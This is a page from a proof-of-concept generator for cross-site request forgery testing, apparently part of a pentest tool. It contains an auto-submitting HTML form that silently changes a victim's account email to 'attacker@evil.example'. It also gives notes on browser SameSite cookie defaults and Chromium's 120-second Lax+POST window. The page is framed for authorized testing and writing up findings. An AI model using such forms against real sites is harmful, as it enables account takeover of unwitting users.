PoC Generator

Build a proof of concept for a specific delivery, method, content type, and cookie policy. The cookie verdict comes from the same model as the cheatsheet, and the build fails if the two ever disagree. See the mechanics in the lab.

DeliveryA top-level navigation.

MethodContent type

Session cookie policyRead this off the target's Set-Cookie header before anything else.How is the endpoint authenticated?Target URLParametersOne name=value per line.Method overrideServer-side convention. Confirm the target honours it.Fire automatically on load

Does the session cookie ride along?

Chromium

Conditional

Firefox

Cookie sent

Safari

Cookie sent

The engines disagree. Name the affected browsers in the finding.

HTMLAuto-submitting form
<!doctype html>
<html>
  <body>
    <form id="poc" action="https://target.example/account/email" method="POST" enctype="application/x-www-form-urlencoded">
      <input type="hidden" name="email" value="attacker@evil.example" />
    </form>
    <script>document.getElementById('poc').submit()</script>
  </body>
</html>

Auto-submitting form issuing POST with urlencoded. This is a top-level navigation, so the target becomes the first party, which is what No SameSite attribute keys on.

Chromium sends this only if the cookie was set less than 120 seconds ago (the Lax+POST intervention). Test it immediately after a login or an SSO redirect; it is documented as temporary.
The cookie has no SameSite attribute, so the answer depends on the browser: Chromium defaults it to Lax, while Firefox and Safari never shipped a Lax default and send it here. Name the affected browsers in the finding — do not claim it works everywhere.

For authorized testing only. Host this on an origin you control and open it in a real browser — a proxy replay does not prove a browser would send the cookie. Test in both Chrome and Firefox; they disagree whenever the cookie has no SameSite attribute. See Methodology for writing this up.